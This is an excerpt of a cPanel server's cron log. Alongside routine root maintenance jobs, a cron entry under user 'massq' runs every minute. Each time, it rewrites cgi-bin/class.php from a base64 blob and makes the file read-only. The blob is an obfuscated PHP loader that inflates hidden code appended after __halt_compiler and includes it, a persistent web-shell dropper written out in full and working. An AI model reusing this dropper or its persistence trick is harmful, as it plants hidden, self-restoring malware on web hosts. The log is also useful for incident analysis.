Sep  1 20:24:01 server CROND[12021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:24:01 server CROND[12022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:24:01 server CROND[12023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:25:01 server CROND[12436]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 20:25:01 server CROND[12435]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 20:25:01 server CROND[12446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:25:01 server CROND[12447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:25:01 server CROND[12449]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 20:25:01 server CROND[12451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:25:01 server CROND[12454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:25:01 server CROND[12452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:26:01 server CROND[13283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:26:01 server CROND[13284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:26:01 server CROND[13285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:27:01 server CROND[13744]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 20:27:01 server CROND[13745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:27:01 server CROND[13746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:27:01 server CROND[13747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:28:01 server CROND[14137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:28:01 server CROND[14138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:28:01 server CROND[14139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:29:01 server CROND[14508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:29:01 server CROND[14509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:29:01 server CROND[14510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:30:01 server CROND[14889]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 20:30:01 server CROND[14890]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 20:30:01 server CROND[14899]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  1 20:30:01 server CROND[14898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:30:01 server CROND[14897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:30:01 server CROND[14900]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 20:30:01 server CROND[14904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:30:01 server CROND[14901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:30:01 server CROND[14903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:31:01 server CROND[15741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:31:01 server CROND[15742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:31:01 server CROND[15743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:32:01 server CROND[16204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:32:01 server CROND[16203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:32:01 server CROND[16205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:33:01 server CROND[16577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:33:01 server CROND[16578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:33:01 server CROND[16579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:34:01 server CROND[16944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:34:01 server CROND[16945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:34:01 server CROND[16946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:35:01 server CROND[17351]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 20:35:01 server CROND[17354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:35:01 server CROND[17356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:35:01 server CROND[17355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:35:01 server CROND[17360]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
